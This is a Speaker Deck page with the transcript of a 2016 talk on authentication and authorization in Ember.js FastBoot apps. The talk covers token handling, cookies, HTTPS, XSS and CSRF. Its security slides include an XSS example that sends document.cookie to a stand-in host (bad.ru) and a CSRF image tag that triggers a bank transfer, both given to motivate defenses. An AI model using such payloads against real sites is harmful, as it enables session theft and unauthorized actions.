Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Auth* with FastBoot
Search
Marco Otte-Witte
July 12, 2016
Technology
2
15k
Auth* with FastBoot
An overview of handling authentication and authorization in Ember.js app and Fastboot
Marco Otte-Witte
July 12, 2016
Tweet
Share
More Decks by Marco Otte-Witte
See All by Marco Otte-Witte
Securing Technology Investments
marcoow
0
220
Handling images on the web
marcoow
0
410
SSR, SPAs and PWAs
marcoow
0
360
Fast, Fast, Fast
marcoow
2
500
Feel the Glimmer - ParisJS
marcoow
1
530
Feel the Glimmer - MunichJS 11/17
marcoow
0
140
The JSON:API spec
marcoow
3
1.8k
Leveraging the complete Ember Toolbelt
marcoow
0
390
Feel the Glimmer
marcoow
1
240
Other Decks in Technology
See All in Technology
仕様は“書く”より“語る” - 分断を超えたチーム開発の実践 / 20251115 Naoki Takahashi
shift_evolve
PRO
0
160
フライトコントローラPX4の中身(制御器)を覗いてみた
santana_hammer
1
140
3年ぶりの re:Invent 今年の意気込みと前回の振り返り
kazzpapa3
0
190
バグと向き合い、仕組みで防ぐ
____rina____
0
240
バクラクの AI-BPO を支える AI エージェント 〜とそれを支える Bet AI Guild〜
tomoaki25
1
350
AIと共に開発する時代の組織、プロセス設計 freeeでの実践から見えてきたこと
freee
3
560
[JDDStudy #10] 社内Agent勉強会の取り組み紹介
yp_genzitsu
1
130
【AWS reInvent 2025 関西組 事前勉強会】re:Inventの“感動と興奮”を思い出してモチベ爆上げしたいです
ttelltte
0
130
エンジニアにとってコードと並んで重要な「データ」のお話 - データが動くとコードが見える:関数型=データフロー入門
ismk
0
450
内部品質・フロー効率・コミュニケーションコストを悪化させ現場を苦しめかねない16の組織設計アンチパターン[超簡易版] / 16 Organization Design Anti-Patterns for Software Development
mtx2s
2
180
[Oracle TechNight#94] Oracle AI World 2025 Oracle Database関連フィードバック
oracle4engineer
PRO
0
310
ある編集者のこれまでとこれから —— 開発者コミュニティと歩んだ四半世紀
inao
1
140
Featured
See All Featured
Java REST API Framework Comparison - PWX 2021
mraible
34
9k
GraphQLの誤解/rethinking-graphql
sonatard
73
11k
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
253
22k
Speed Design
sergeychernyshev
32
1.2k
It's Worth the Effort
3n
187
28k
XXLCSS - How to scale CSS and keep your sanity
sugarenia
249
1.3M
A Modern Web Designer's Workflow
chriscoyier
697
190k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
24
1.5k
Making the Leap to Tech Lead
cromwellryan
135
9.6k
Making Projects Easy
brettharned
120
6.4k
Rails Girls Zürich Keynote
gr2m
95
14k
Stop Working from a Prison Cell
hatefulcrawdad
272
21k
Transcript
Auth* with FastBoot
Marco Otte-Witte @marcoow
https://simplabs.com @simplabs
None
https://ember-workshop.simplabs.com
Auth* in Ember
Authentication is verifying the identify of a user
Authorization is verifying permissions of an (authenticated) user
in an Ember app, you cannot actually do any of
these
$E.set('isAuthenticated', true)
$E.set('isAdmin', true)
actual authentication and authorization happens on the API server
authorization in the Ember app itself is only about presenting
a consistent UI
The Status Quo is using token based authorization
the token is issued by the API server upon authentication
and then injected into subsequent (Ember Data) requests
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
"progressive enhancement for ambitious web apps"
FastBoot performs the initial render on the server, reducing the
time until the user sees content
after the JavaScript has downloaded, the Ember app takes over
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
A floating session ensures a singular execution context in the
browser as well as in FastBoot
it turns out we've had the mechanism for that since
1997
http://www.discoversmithsfalls.ca/wp-content/uploads/2014/12/mm_cookie.jpg
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
None
None
there's no document.cookie in Node.js
ember install ember-cookies https://github.com/simplabs/ember-cookies
Demo https://github.com/marcoow/fastboot-auth-example
Security Concerns
everyone with access to a user's token can impersonate as
that user
Authorization: Bearer vsret63refrwtu9
Authorization: Bearer vsret63refrwtu9
use HTTPs so that the token is not sent as
clear text!
Authorzation: Bearer 4t4hw4et
make sure your HTTPs is setup correctly
HSTS, TLS 1.1/1.2, PFS, ephemeral Diffie Hellmann key exchange, etc.
validate your HTTPS setup https://www.ssllabs.com/ssltest/
None
http://redpowerstation.co.uk/wp-content/uploads/2013/03/image.jpg https://www.python.org/m/psf/fastly.png
XSS a web developer's worst nightmare
someone gets to execute their (malicious) JavaScripts in the context
of your app
<h2> Hello, {{{user.name}}} </h2>
<h2> Hello, <script>$.ajax('http://bad.ru?cookie=' + document.cookie)</script> </h2>
use {{…}}, not {{{…}}}
don't use htmlSafe on user entered content
enable CSP https://github.com/rwjblue/ember-cli-content-security-policy
what if JavaScript had no access to the cookie holding
the token in the first place?
An alternative approach using token based authorization via a HttpOnly
cookie
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
this has implications on your domain setup
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X X
Demo https://github.com/marcoow/fastboot-auth-example/tree/cookie-based
CSRF makes users initiate requests without their consent or knowledge
<img src="http://bank.com/transfers-money?amount=1mio&to=attacker"/>
None
when using the Authorization header for authorizing API requests, CSRF
doesn't work
when using a cookie for authorizing API requests, you're vulnerable
to CSRF attacks
CSRF results in GET requests which should not modify anything
on the API
an attacker could initiate requests to the FastBoot server
FastBoot only pre-renders though, does not execute actions etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc. (you probable don't anyways)
Wrapping up
Use token based authorization
use a cookie to transparently move authentication state and authorization
info between the browser and FastBoot
…and make sure you're safe
you could implement all these things yourself…
None
1.2 is going to support FastBoot out of the box
Thanks
http://simplabs.com @simplabs